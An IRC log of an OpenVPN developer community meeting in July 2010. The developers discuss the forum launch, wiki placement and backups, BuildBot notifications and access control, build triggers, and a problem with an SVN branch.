opened Wed Jun 30 19:34:18 2010 19:34 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 19:34 -!- Irssi: #openvpn-devel: Total of 16 nicks [4 ops, 0 halfops, 0 voices, 12 normal] --- Log closed Wed Jun 30 19:34:20 2010 --- Log opened Wed Jun 30 19:41:59 2010 19:41 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 19:41 -!- Irssi: #openvpn-devel: Total of 16 nicks [4 ops, 0 halfops, 0 voices, 12 normal] 19:42 -!- Irssi: Join to #openvpn-devel was synced in 36 secs 23:38 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Thu Jul 01 2010 02:02 -!- Netsplit *.net <-> *.split quits: HanX, @dazo_afk 02:04 -!- Netsplit over, joins: @dazo_afk, HanX 02:12 -!- dazo_afk is now known as dazo 03:02 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 03:08 -!- cp7 [nebula@75-54-230-125.lightspeed.sntcca.sbcglobal.net] has joined #openvpn-devel 03:14 -!- dazo_ [~dazo@nat/redhat/x-yzpkubzpfdccecel] has joined #openvpn-devel 03:14 -!- mode/#openvpn-devel [+o dazo_] by ChanServ 03:14 -!- dazo is now known as Guest24620 03:15 -!- dazo_ is now known as dazo 03:22 -!- Guest24620 [~dazo@scarydevilmonastery.net] has left #openvpn-devel ["Leaving"] 07:38 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: Leaving] 09:28 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 09:28 -!- krzie [~k@unaffiliated/krzee] has quit [Ping timeout: 276 seconds] 10:46 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 11:21 -!- fkr [fkr@devon.fsck.us] has joined #openvpn-devel 11:21 < fkr> hi 11:21 < krzee> not yet, but i will be after work 11:38 -!- dazo is now known as dazo_afk 12:29 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has joined #openvpn-devel 12:29 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:41 -!- dazo_afk is now known as dazo 12:43 <@mattock> hi everyone... has there been any discussion (e.g. new topics) about today's meeting on openvpn-devel? I'm unable to get to my mail 12:43 <@dazo> mattock: not as I can recall 12:44 <@mattock> dazo: ok, good 12:44 <@dazo> mattock: http://thread.gmane.org/gmane.network.openvpn.devel/ :-P 12:44 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 12:44 <@mattock> ok, nice somebody has responded :) 12:47 < ecrist> howdy 12:47 <@mattock> hi 12:47 <@mattock> ecrist: could you explain what you meant by "This will not work for freebsd. This is what the ports tree is for." :) 12:48 <@mattock> which does not work? 12:48 <@mattock> or what 12:48 < ecrist> building packages outside the ports tree for freebsd 12:50 <@mattock> ok... that's no problem, we don't have to build packages for FreeBSD. But we can make buildbot create a port for ports tree. Unless there are some strange steps involved that _require_ human presence and can't be automated. 12:50 <@mattock> a OpenVPN port 12:50 < ecrist> that cannot be automated. 12:50 <@mattock> you mean pushing to the ports tree? 12:51 < ecrist> yes 12:51 < ecrist> and generating the port, really 12:51 <@mattock> what's involved exactly? 12:51 < ecrist> first, build the port, makefile, and pkg-plist 12:52 < ecrist> when that's built, run the port through tinderbox, running portlint and a couple other utilities to very the port config 12:52 < ecrist> submit pr 12:52 < ecrist> s/very/verify/ 12:52 <@mattock> ok 12:53 < ecrist> regardless, I'm not comfortable handing the port build over to an automated process. 12:53 <@mattock> that's probably a good idea if the port goes to official ports tree 12:53 < ecrist> it does 12:53 < ecrist> and it's being maintained 12:54 <@mattock> does FreeBSD support port overlays? I mean using external ports trees on top of the official ones? 12:54 < ecrist> sure 12:54 < ecrist> you can build a 'port' from anywhere 12:54 < ecrist> you don't even have to put your port in the same tree 12:55 <@mattock> that's one option then... "use the very latest version at your own risk ports tree" ;) 12:55 < ecrist> why, though? 12:55 < ecrist> the port is updated about every other week as it is 12:55 <@mattock> to get feedback from users a.s.a.p... even a 1-2 week delay is a lot 12:55 <@dazo> FreeBSD ports are already source based too, right? 12:55 < ecrist> yes, they're source based 12:56 < ecrist> packages for freebsd are built from the port 12:56 <@dazo> that actually removes the need for binary builds in general for FreeBSD 12:56 * dazo didn't think about that when he mentioned FreeBSD in his mail 12:56 < ecrist> the binary build is done by the freebsd package build cluster 12:57 < ecrist> any user can go to a freebsd machine and type 'pkg_add -r openvpn-devel' and get the 'current' devel port 12:57 < ecrist> which was updated ~2 days ago. 12:59 <@cron2> re 13:03 * cron2 looks around "there was activity 5 minutes ago, now it's meeting time and everybody ran away" 13:04 <@mattock> I'm still here 13:04 <@dazo> cron2: we noticed you 13:04 <@mattock> still feeling optimistic about James :) 13:04 <@cron2> now if that worked on my daughter ("hey, child, I'm here, so be quiet and smile now!") :-) 13:04 < krzee> gday mates 13:05 <@dazo> cron2: just wait about 10-12 years, and you're wish will become true! 13:05 < ecrist> you don't have the parts to be my mate... 13:05 <@dazo> (well, the smile might not be present though) 13:05 <@cron2> dazo: well, in 12 years, she might just scream at me, run to her room and slam shut the door... 13:05 <@cron2> all the fun :) 13:06 <@mattock> hi krzee 13:06 <@dazo> cron2: exactly ;-) 13:06 <@mattock> let's start the meeting, shall we? 13:06 <@dazo> +1 13:06 <@cron2> I just wanted to suggest that, yes :-) we have some items that don't need James 13:06 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2010-07-01 13:06 < vpnHelper> Title: Topics-2010-07-01 – OpenVPN (at community.openvpn.net) 13:07 <@mattock> ok, for your information we set the launch date for forums.openvpn.net 13:07 <@mattock> which is... 13:07 <@mattock> August 13th (Friday, of course :) 13:07 <@mattock> one topic covered! 13:08 < ecrist> currently, openvpn tech folks are to be skinning the site 13:08 <@mattock> yep 13:08 < ecrist> mattock is supposed to be working on integrating the authentication 13:08 < ecrist> I am relaxing. 13:08 <@cron2> ecrist: good planning :) 13:08 <@dazo> ecrist: job well done in other words! 13:08 < krzee> ecrist++ 13:09 <@mattock> I'll start working on the forums on monday 13:09 <@mattock> I have a couple of tasks which should be finished in a day or two 13:09 < ecrist> let me know if there are php modules missing, etc 13:09 <@mattock> ecrist: ok 13:10 <@mattock> although I think I'll just install any missing ports myself 13:10 <@mattock> ok, shall we move on to BuildBot stuff? 13:10 * krzee hears "ports", its fbsd? 13:10 < krzee> good stuff 13:11 <@mattock> krzee: yep 13:11 < ecrist> krzee: of course 13:11 < ecrist> only the best 13:12 < krzee> =] 13:12 <@mattock> sending mail to james... 13:12 <@cron2> shall we cover the wiki thing in between? 13:12 <@dazo> +1 13:12 <@cron2> I basically want feedback on two things 13:13 <@cron2> - is this the right wiki? do we want stuff to go to wiki.secure-computing.net or something on community.openvpn.net? 13:13 <@cron2> (I saw that one article already moved) 13:13 <@cron2> - and then I'd like some help on actual wiki formatting, something isn't working out with my lists and the bit :) 13:14 <@mattock> cron2: I just got write access to openvpn.net, so I'll soon link from there to community.openvpn.net 13:14 <@mattock> so it should start seeing more traffic soon 13:14 < krzee> the first question is a good question... i guess it comes down to taste 13:14 <@cron2> krzee: I'm neutral on this, and do not want to step someone's toes :-) - which is why I'm bringing it up 13:15 < krzee> personally i like mine being on SCN, although i dont mind if its mirrored on ovpn's 13:15 <@mattock> there are a few issues here... having two wikis tends to fragment the content 13:16 <@cron2> yep 13:16 <@dazo> we can't restrict non-official wiki's to appear ... and I see it as good as we have the secure-computing wiki available ... but I'd say that core developers (yes, that includes you cron2) should probably put more official stuff on the community wiki 13:16 <@mattock> I don't mind adding links from openvpn.net to wiki.scn, but the community.openvpn.net wiki will need to be the "official" wiki 13:16 < ecrist> I have no real opinion. 13:17 < krzee> now that i see lots of activity from the real openvpn.net i dont have much opinion either, but i still remember what happened to the last official wiki/forum 13:17 < ecrist> the wiki at SCN isn't going anywhere, and I'm not really interested in it becoming the 'official' wiki 13:17 < ecrist> krzee++ 13:17 <@cron2> krzee: yes, I can understand that (but then, google will always have a copy forever :) ) 13:18 < krzee> not forever 13:18 < ecrist> cron2: that's not true 13:18 <@mattock> krzee, ecrist: that's why I want you to have data backups and/or acecss to new "official" wiki + forums 13:18 < ecrist> right, not trying to rehash that old argument, mattock. 13:18 < krzee> +1 to that 13:18 <@dazo> that concern I do share with ecrist and krzee .... not knowing the whole history, I believe we now are building a real community compared to earlier attempts 13:18 <@cron2> anyway - I think in the current framework it makes sense to put the page into the "official" wiki and have a pointer in SCN wiki 13:19 < krzee> so heres my take on this... official stuff goes on the official wiki, anyone can add to SCN if they like 13:19 <@cron2> if things go downhill again, I can always move that 13:19 <@mattock> krzee: +1 13:19 <@cron2> is the official wiki using the same syntax as the SCN wiki? 13:19 < ecrist> I take nightly backups of the forum server, so I'll have db and such for that 13:19 <@dazo> and if going downhill again ... ecrist will have a copy of the trak wiki 13:19 < ecrist> I do not have shell access to the wiki host, however. 13:20 <@mattock> ecrist: would you need it? 13:20 < ecrist> only if the intent is for SCN to maintain a backup 13:20 < ecrist> unless you're pushing backups to me 13:20 < ecrist> either way works, really 13:20 <@cron2> I think it would relieve some worries if we had a backup at SCN... 13:21 <@mattock> you mean full backup? 13:21 <@mattock> system backu 13:21 <@mattock> p 13:21 < ecrist> aye 13:21 <@cron2> dunno, "whatever is needed to avoid losing content" 13:21 <@mattock> ok, I wanted to save your diskspace by only backing up data (database, LDAP) to SCN. I can push the whole thing there, too 13:22 < ecrist> mattock, I have 'oodles' of disk space 13:22 <@mattock> however, restoring the data into a new Trac instance is trivial 13:23 <@mattock> I'm pretty sure everything needed to rebuild the server + data is already included in SCN backup 13:23 <@mattock> I can verify that, though 13:24 <@mattock> I'll check it now, takes a minute 13:25 <@mattock> yes, nothing's missing 13:26 <@cron2> anyway - I think I'll try to move the article in the next days, and then I'll come back and ask for help on the formatting side of things 13:26 <@mattock> Trac database, LDAP directory, config files, /etc 13:26 <@cron2> (and some feedback on the content, of course :), but I think I'll need to chase mape2k on this, as everybody else has no OpenWRT experience either) 13:26 <@dazo> cron2: if you look at the agenda topics wiki's you usually get the idea of the formatting there ... it's pretty stupidly simple 13:27 <@mattock> and even everything related to the registration service (pwm) is being backed up to SCN 13:27 <@cron2> dazo: I have struggled with trac wiki at a customer's site, so it's different from SCN, but I should find my ways 13:27 <@mattock> cron2: it's a little different from mediawiki, but not much 13:28 < waldner> https://community.openvpn.net/openvpn/wiki/WikiFormatting 13:28 < vpnHelper> Title: WikiFormatting – OpenVPN (at community.openvpn.net) 13:28 <@mattock> waldner: you were faster than me 13:28 <@mattock> :) 13:28 <@dazo> cron2: yeah, the trac wiki is a bit different, but simpler than mediawiki ... but mediawiki differs also, depending on installed modules etc, etc ... as the trac wiki .... anyhow the trac wiki is really simple in formatting right now 13:28 < krzee> !learn wikiformatting as https://community.openvpn.net/openvpn/wiki/WikiFormatting to see info on wiki formatting 13:28 < vpnHelper> krzee: Error: You don't have the factoids.learn capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified. 13:28 < krzee> heh 13:28 <@dazo> krzee: is even smarter! 13:28 <@cron2> I'll give it a try and ask mattock or dazo if I get stuck :) 13:29 < krzee> !learn wikiformatting as https://community.openvpn.net/openvpn/wiki/WikiFormatting to see info on wiki formatting 13:29 < vpnHelper> krzee: Joo got it. 13:29 <@dazo> :) 13:29 < krzee> (the factoids here are separate from ##openvpn) 13:29 < ecrist> cron2/all: if you 'move' an article from SCN to the 'official' wiki, do not delete it from SCN, simply mention at the top the article has moved, please. 13:30 <@mattock> krzee, ecrist: are you content with the current backups from community.openvpn.net? 13:30 <@mattock> or do you want full system backups? 13:30 <@cron2> ecrist: ok 13:30 * ecrist looks 13:31 < krzee> i dont know specifics about the backups, so i differ to ecrist 13:31 < krzee> defer* 13:32 < krzee> im just glad they exist =] 13:32 <@mattock> in two places actually... 13:32 <@mattock> our own backup server and mr.garrison 13:32 < ecrist> cursory glance, they look OK 13:34 <@mattock> ok 13:34 < krzee> so that covers that topic i believe 13:34 <@mattock> +1 13:34 <@cron2> +1 13:34 <@mattock> although testing the backups would be beneficial anyways 13:34 <@mattock> but lets save that for later 13:34 <@mattock> so next topic would be buildbot 13:35 <@mattock> I wrote some questions/ideas to the topic page 13:35 <@mattock> "How to inform developers of build successes/warnings/failures?" 13:35 < krzee> an IRC bot in this channel gets my vote 13:35 <@mattock> krzee: good idea 13:35 <@mattock> is it enough? 13:35 <@cron2> mmmh, warnings can be quite lengthy 13:35 <@mattock> or do we want a mail notifier, too? 13:36 < krzee> cron2, privmsg for more detail? 13:36 <@dazo> I'd say it's not enough ... developers might not be on irc when a failure happens ... but irc as a supplement to e-mail gets my vote 13:36 <@mattock> cron2: I think it's possible to customize the IRC warning... at least email notifications can be customized 13:36 <@cron2> mattock: I think we could combine it - mail notifier for build failures, and IRC bot with privmsg for everythign 13:36 <@mattock> +1 for using both IRC and email 13:37 <@cron2> failures should be sufficiently infrequent that it warrants a mail 13:37 <@cron2> .oO(and whoever caused the build failure has to buy a round of beer) 13:37 <@mattock> should we have a separate openvpn-build mailinglist for the build failures? 13:37 < ecrist> how about an RSS feed, which an IRC bot could monitor? 13:38 <@cron2> ecrist: that would work for me as well 13:38 <@mattock> cron2: buildbot can detect who messed up and "blame" that developer 13:38 <@mattock> :) 13:38 <@dazo> actually the irc notification don't need to be verbose ... just a link to the web page with the error 13:38 <@mattock> ecrist: that's doable, but would require writing a custom notifier module in Python 13:39 <@cron2> mattock: dunno about the extra mailinglist - no strong opinion for "new list" or "on openvpn-devel" 13:39 <@mattock> I think the "new list" vs. "openvpn-devel" depends on how often build failures occur... there are ~500 people on -devel and 490 of them are not interested in receiving build failure notifications 13:39 < ecrist> I vote for RSS, it's pretty simple to write. 13:39 <@cron2> mattock: yes. 13:40 <@mattock> ecrist: why not just use the build-in IRC notifier in buildbot? 13:41 <@mattock> oh, there _is_ RSS support in buildbot 13:41 <@mattock> let's see... 13:41 <@mattock> "/rss This provides a rss feed summarizing all failed builds. The same query-arguments used by 'waterfall' can be added to filter the feed output." 13:41 <@mattock> so a RSS feed is available from the web interface 13:42 <@cron2> perfect 13:42 <@cron2> now that one was easy :-) - next topic? :)) 13:42 <@mattock> cron2: +1 13:42 <@mattock> which is still related to buildbot :) 13:42 < ecrist> supybot already does RSS reading, so that's done, too 13:42 <@mattock> ecrist: great! 13:42 <@mattock> "Should we limit access to the buildbot web interface?" 13:42 < ecrist> all kinds of win today 13:43 <@cron2> mattock: I'd go for "limit access" - if nobody needs it, no need to provide attack surface 13:43 <@dazo> cron2++ 13:43 <@cron2> as for the specifics, no opinion 13:43 <@mattock> I agree that we should limit access somehow... 13:44 <@mattock> if we could use BASIC AUTH and the LDAP credentials then that'd be nice 13:44 <@mattock> not too bureaucratic, but still provides some protection 13:44 <@mattock> although not against targeted attacks 13:44 <@cron2> can we https that (so no auth sniffing)? 13:44 <@mattock> cron2: we definitely should 13:45 <@mattock> I don't want the LDAP credentials going anywhere in plain text 13:45 <@cron2> +1, then 13:45 <@mattock> ok, I'll check if that's doable... 13:45 <@mattock> any other opinions on this matter? 13:46 <@dazo> mattock: BASIC AUTH against LDAP over https sounds reasonable 13:46 < ecrist> why not setup a vpn (I hear openvpn is pretty good) for community members for the build system and those other back-end systems? 13:46 <@mattock> ecrist: that's one good option, too :) 13:46 <@dazo> true ... could even use auth-ldap for user/pass authentication and not use client certs 13:46 <@cron2> this openvpn thing is so complicated... *duck* 13:47 <@mattock> :) 13:47 < ecrist> crap, this is all starting to make sense. 13:47 <@dazo> heh 13:47 <@mattock> openvpn + ldap auth would be nice, as long as we don't allow "random" people access to the VPN 13:47 <@cron2> seriously - I find https+auth more convenient for occasional access to a web(!) site 13:48 <@cron2> otherwise I'd have to start openvpn, enter credentials, open web browser, enter credentials again (so the web site knows who I am) 13:48 < ecrist> you were the one that brought up attack vectors. 13:48 <@dazo> that's true ... but on the other hand, implementing openvpn makes us also eat our own dog food 13:48 <@mattock> cron2: I guess that depends on how "heavy" user of the OpenVPN community services you are... for occasional access BASIC AUTH _is_ more convenient 13:48 <@mattock> dazo: +1 to eating our own dogfood 13:49 <@cron2> ecrist: yes, I wouldn't want a random script suite accessible on the "naked internet" - but I tend to trust Apache to get SSL+AUTH right without security issues 13:49 <@cron2> but of course "eat own dogfood" is a valid argument 13:49 <@mattock> but then again, there's nothing stopping us from doing both (OpenVPN + LDAP and BASIC AUTH + LDAP) 13:49 * cron2 wants IPv6 on these servers 13:50 <@cron2> mattock: you would need both, no? Otherwise the web server wouldn't know who the user is 13:50 <@mattock> cron2: I think they do support IPv6, they're Debian 13:50 <@cron2> :) 13:50 <@dazo> cron2: that's also why I suggested without client certs, only --auth-user-pass .... just to avoid needing client certificates to avoid installing certs on all machines we may use 13:50 <@mattock> cron2: oh yes 13:50 <@cron2> dazo: yes, understood that, +1 13:51 <@mattock> is everybody ok with OpenVPN access? 13:51 <@mattock> and no separate authentication in BuildBot? 13:51 <@cron2> no objections 13:51 <@dazo> from the peek view I've had on BuiltBot ... I don't see any issues 13:52 <@mattock> that's easier for me, too... don't have to SSL-enable some random Python webserver (Twisted) 13:52 <@mattock> anybody familiar with OpenVPN LDAP integration? Can we easily limit access by LDAP group or something? 13:52 <@cron2> ok, I thought this was using a standard apache(etc) as web facing server 13:52 <@mattock> cron2: nope 13:52 <@cron2> in that case - yes, go with OpenVPN 13:53 <@mattock> and "testing" version of course :) 13:53 <@mattock> with cron2's IPv6 stuff 13:53 <@dazo> +1 13:53 <@cron2> +128 13:53 <@cron2> \o/ 13:53 <@dazo> haha 13:53 <@mattock> oh, 129 ACK's :) 13:53 <@mattock> ok, next topic? 13:54 * cron2 installed ecrist's openbsd-testing port on the corporate openvpn server today... "works" :-) 13:54 <@mattock> "What setup do we want to use to trigger builds?" 13:54 <@cron2> (just as a side note) 13:54 <@cron2> mattock: you skipped one :) - but anyway 13:54 < krzee> hey cool i didnt know ecrist maintained an openbsd port too 13:54 <@mattock> cron2: good point 13:54 <@mattock> "Where do we get the BuildSlaves?" 13:55 <@cron2> krzee: it's in the official ports tree! 13:55 <@mattock> please read the background section before commenting :) 13:55 <@dazo> After having though about build triggers ... I think e-mail trigger makes sense if we enable sending commits to an e-mail list when I push stuff to the repository 13:55 <@mattock> in the topic page 13:55 <@mattock> should we have a separate commit list? or is -devel enough? 13:55 < krzee> the buildslaves could all be virtual machines 13:55 <@cron2> regarding triggers: since dazo maintains the git tree, I think that this is really something for dazo and mattock to figure out 13:56 < ecrist> krzee: I don't, they share ports between the BSDs 13:56 < krzee> ecrist, ahh coolness 13:56 <@dazo> mattock: I think that should go to an own -commit list, tbh 13:56 <@mattock> ecrist: that's nice - we have "testing" for OpenBSD too 13:56 <@mattock> with zero effort 13:56 < ecrist> and netbsd 13:56 <@dazo> neat! 13:57 < krzee> if only the linux's did stuff like that ;) 13:57 <@cron2> ecrist: netbsd users ports? I have only seen pkgsrc there 13:57 <@dazo> heh 13:57 <@cron2> (no openvpn-devel in pkgsrc yet) 13:57 < ecrist> I think a ports tree is installable on netbsd, iirc 13:57 <@cron2> s/users/uses/ 13:57 <@mattock> dazo: so will the SF.net git send the mail to -commits? 13:58 <@dazo> mattock: if we add a one of those mailer scripts we looked at, yes it will 13:58 < ecrist> so SF.net git have RSS? 13:58 <@cron2> regarding buildslaves: I think for the i386/amd64 operating system variants, virtual machines should be fine 13:58 < ecrist> s/so/does/ 13:58 <@mattock> ecrist: don't know, could be 13:58 <@dazo> ecrist: yeah, should be some kind of RSS feed, iirc 13:58 < krzee> even osX can be run in a VM 13:58 <@cron2> we might want to have a few non-i386 buildslaves, like "Solaris10/Sparc64" (different byte order!) 13:58 <@dazo> http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=rss;opt=--no-merges 13:58 < vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/rss logSourceForge - openvpn/openvpn-testing.git/rss logFixed issue where bad creds provided by the management interface (at openvpn.git.sourceforge.net) 13:59 <@mattock> ecrist: you said supybot supports RSS feeds... does it live in a place where it can access BuildBot through an OpenVPN tunnel? 13:59 <@dazo> http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=rss;h=refs/heads/allmerged;opt=--no-merges (this is allmerged) 13:59 < vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/rss - 'refs/heads/allmerged' branch logSourceForge - openvpn/openvpn-testing.git/rss - 'refs/heads/allmerged' branch logFixed static defined length check to use sizeof() (at openvpn.git.sourceforge.net) 13:59 < krzee> ya its on butters (my box) in ecrist's house 13:59 <@mattock> cron2: +1 on virtual machines 13:59 < krzee> and i have no problem with that tunneling to buildbot 13:59 <@cron2> dazo: cool 14:00 <@mattock> however, I think the core community members could be trusted to provide additional architectural coverage 14:00 <@dazo> mattock: could we make buildbot read RSS? 14:00 <@mattock> let me check 14:00 <@dazo> (for build triggers, that is) 14:00 <@cron2> dazo: do you want to have it build after every single commit? you might have transient trees that are known to fail building 14:01 <@mattock> dazo: I don't think so... only reference to RSS is the RSS view in web interface 14:01 <@mattock> cron2: you mean temporarily broken trees? 14:01 <@dazo> cron2: no, not after each commit ... that's waste ... as a push might have many commits 14:01 < krzee> dazo, doesnt sound too hard to write a script to trigger buildbot from RSS input 14:01 <@cron2> mattock: yes, like "this feature needs 4 commits to compile", so there are commits that shouldn't trigger a build 14:01 <@cron2> dazo: exactly 14:01 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 14:01 <@mattock> cron2: that's been taken care of by buildbot 14:02 <@dazo> mattock: oki ... maybe rather lookup something which can parse RSS for buildbot is an even better solution 14:02 < krzee> OR 14:02 <@mattock> buildbot can be configured to wait after a commit to see if anything else is coming in soon (e.g. in 5 minutes) 14:02 < krzee> a bot in here could trigger it 14:02 < krzee> !build 14:02 < vpnHelper> krzee: Error: "build" is not a valid command. 14:02 < krzee> heh 14:02 <@mattock> buildbot can be extended easily if one knows python 14:02 <@cron2> heh :) 14:03 <@mattock> even the config file is plain python 14:03 <@dazo> and python isn't that hard even 14:03 <@mattock> agreed, even I have written some semi-complex stuff in python a few years back 14:03 < krzee> if vpnHelper is reading buildbot's RSS, he is already tunneled to buildbot, maybe we could make him trigger the building 14:03 < krzee> he is also python 14:04 <@dazo> krzee: sounds doable! 14:04 < krzee> (yes, its a male) 14:04 <@mattock> krzee: but then vpnHelper would have to monitor the commits 14:04 < krzee> not if we have !build 14:05 < krzee> oh but you mean automated, i see 14:05 <@mattock> krzee: yes, automatically triggered builds 14:05 <@dazo> krzee: there is an API which buildbot uses, which the git plugin trigger uses ... so we even have the python code for trigging it 14:05 <@mattock> buildbot can do periodic builds, too (e.g. nightly snapshots) 14:05 <@mattock> builds can also be triggered from the web interface 14:06 <@mattock> we don't want to make triggering the build too easy or some funny guy would probably fill buildbot with build requests 14:06 <@mattock> :) 14:06 <@mattock> DOS all of the buildslaves 14:07 <@mattock> I think we had two viable options: 14:08 <@mattock> - make buildbot read commits from RSS feeds (needs python hacking) 14:08 <@mattock> - create a -commits mailinglist and make buildbot read that 14:08 <@mattock> the second option works out of the box 14:08 < krzee> ohhh 14:08 <@mattock> or should work 14:08 < krzee> second option sounds good even if it wasnt just for buildbot 14:09 <@mattock> do we want -commits list anyways? 14:09 < krzee> [11:58] mattock: I think that should go to an own -commit list, tbh 14:09 * ecrist votes (again) for RSS 14:09 <@mattock> I have no strong opinion if somebody else takes care of the python code for buildbot :) 14:10 <@mattock> for RSS support 14:10 <@dazo> I honestly don't see any particular reasons for a commit list .... after all, we have the commits in -devel already, and in the git log ... so it seems just to duplicate and generate extra not needed data 14:10 < krzee> oh ok i misunderstood earlier then 14:10 < krzee> and i dont even commit patches, lol 14:10 <@dazo> but -commit list seems to be the easiest to implement, though 14:11 < krzee> so RSS sounds like a winner, assuming someone here knows python 14:11 < krzee> i wouldnt be opposed to learning it for this if i wasnt so swamped with work 14:11 <@dazo> mattock: what about to check out if someone already have written some RSS parsers for buildbot? 14:11 <@mattock> krzee: I got the same problem 14:11 <@mattock> dazo: I can do that 14:12 <@cron2> hah, work. I'd love to have time work work :-) *juggle child to other shoulder* :)) 14:12 <@dazo> mattock: perfect! 14:12 <@cron2> s/work work/for work/ 14:13 <@mattock> ok, so let's try the RSS route and see how difficult it becomes 14:13 <@mattock> I think that concludes our BuildBot section today... 14:14 <@mattock> dazo: does the Beta2.2 branch discussion require James' presence? 14:14 < krzee> cron2, im migrating a phone system, network, database, configuring a complicated application... with about a week to finish 14:14 < krzee> ;] 14:15 <@mattock> krzee: you can always work both days and nights :) 14:15 <@cron2> krzee: I know how these weeks feel ;-) 14:15 <@mattock> to gain some time 14:16 < krzee> mattock, i do when possible, but i need to coordinate with phone companies a software company, and another company along the way 14:16 < krzee> anyways, sorry for that, back to business 14:16 <@cron2> well, we're waiting for dazo to comment on this agenda item anyway :) 14:16 <@mattock> oh, I see... there's communication involved. That makes things much more difficult :) 14:16 <@mattock> dazo... :D 14:16 * dazo is back 14:16 <@mattock> we've been expecting you 14:17 <@mattock> dazo: does the Beta2.2 branch discussion require James' presence? 14:17 <@dazo> well, I'm just wondering if James is happy about the SVN branch I pushed out .... this push did completely rewrite all commits I merged into the beta2.2 branch 14:18 <@dazo> setting me as the author of all commits (even the very old ones from James) ... but on the other hand, I don't think there's much way around this, as this is how SVN works as it is centralised and not distributed 14:18 <@mattock> James has not responded anything... I assume he's busy pushing out new Access Server 14:19 <@mattock> dazo: so the issue is that it's you that commits the changes to SVN repo? Even though the original git commits were made by various people? 14:19 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 14:19 <@dazo> might be ... so, I really need to hear his opinion about this and even how a merge from his side would work out 14:19 < krzee> oh right, sorry i still havnt played with AS 14:20 < krzee> its a pima needing linux and windows for it, since i dont use either one normally 14:20 <@mattock> perhaps we could just use git for the beta2.2 branch and pull James' stuff from his SVN... 14:20 <@mattock> although I think we discussed that in an earlier meeting 14:20 <@dazo> well, actually the branch James gave me was completely empty ... so when I did a git svn dcommit (pushing to SVN) ... git published all commits individually to the SVN branch, which I would say sounds correct 14:20 < vpnHelper> Announcement from my owner (ecrist): #openvpn-devel http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=rss;opt=--no-merges 14:21 <@dazo> but all those commits goes all the way back to the first beta 2.1 commits 14:22 <@dazo> but this time with me as the author and not James ... which is logical, as I am the one pushing these commits .... but this is the weakness of SVN, it doesn't migrate or keep the original author of commits, only the one performing the commits 14:22 <@dazo> (when committing, that is ... merging is something else) 14:22 <@mattock> does it matter that the original committer is lost? 14:22 <@dazo> so my worry is that this may confuse SVN when James merges my branch into his beta 2.2 branch 14:23 <@dazo> another approach would be that James gives me a branch which is based on his last BETA21 branch ... I pull that branch, merges in the changes for from -testing, and then pushes it to SVN ... then only the additional patches are pushed out 14:23 <@mattock> dazo: so it's a SVN branch, not another SVN repository? 14:24 <@dazo> it's a branch, how I could understand it 14:25 <@dazo> (but an empty one) 14:25 <@dazo> (initially, that is) 14:26 <@mattock> I think merges in SVN should work properly even if you're the committer 14:26 <@mattock> in beta2.2 14:26 <@mattock> I don't think SVN uses the committer username for anything, really 14:26 <@dazo> I hope so ... but I cannot say for sure 14:27 <@mattock> as long as git trees are kept clean from the commits pushed to SVN beta2.2 we _should_ be fine 14:27 <@dazo> another issue here is that each of those old commits are now duplicated in the SVN history ... one in (original one) in the BETA21 branch, and the same commit (with only different commiter) in my SVN branch, but with different revision numbers 14:27 <@mattock> =only push from git to SVN beta2.2, not the other way around 14:28 <@mattock> oh, that's nasty 14:28 <@dazo> well, that's the issue ... when I pushed the SVN beta2.2 branch, also my git commits got modified .... and *that* I am not so happy about 14:28 <@cron2> I think using a pre-populated branch would be happier 14:28 <@dazo> I have that feeling as well 14:29 <@mattock> I think we should ask James what to do... it's his SVN repo, after all 14:29 <@mattock> too bad he did not make it today 14:29 <@dazo> so that's why I'm wondering if we should "go back to start", get my branches scratched, merge again and push against a pre-populated branch instead 14:29 <@mattock> personally I think we could/should just use git for beta2.2 14:29 <@mattock> unless James has strong feelings about that 14:30 <@dazo> that could really work out better .... but I don't want to push James in any directions, and if he's loaded now with stuff I understand he's not willing/interested to look at new things right now 14:31 <@dazo> and James really do need to want to do such a change primarily 14:31 <@mattock> yep 14:31 <@mattock> so is it "wait what James has to say"? 14:32 <@cron2> feels like it 14:32 <@mattock> perhaps dazo could send him email? 14:33 <@dazo> Well, I think I kind of put him explicitly on Cc on the announce mail 14:33 <@mattock> oh 14:33 <@mattock> I assume he's just really busy right now 14:35 <@mattock> I think we should bombard him with emails early next week 14:35 <@dazo> well, I can clean up the git branch completely ... ignore the SVN branch for now ... and we can continue preparing and testing the beta2.2 branch in the community, and when James got time to look at it, we could then discuss how to get it into his SVN tree ... or if he would want to switch to git, he is welcome to do so to ... but if he don't have time to interact too much now, I'm not sure we should halt too long 14:36 <@mattock> I agree we should move on 14:36 <@mattock> work in Git for now, explain the situation to James and see what he thinks 14:36 <@mattock> on reason to stop progress due to SVN issues 14:36 <@mattock> no reason... 14:36 <@dazo> I'll rename the current branch ... and then start from scratch in git then 14:37 <@mattock> ok, are we done for today? 14:37 <@mattock> or is there something else? 14:38 * cron2 is fine 14:38 * dazo too 14:38 <@mattock> the rest of the guys are passive, so I take that as a "I'm fine" :) 14:39 <@mattock> I'll write summary tomorrow 14:39 <@mattock> good meeting again! 14:39 <@dazo> thx a lot! 14:39 <@cron2> thx 14:39 <@mattock> good night everyone! 14:39 <@cron2> n8 :) 14:39 <@dazo> :) 14:39 <@mattock> cron2: omg 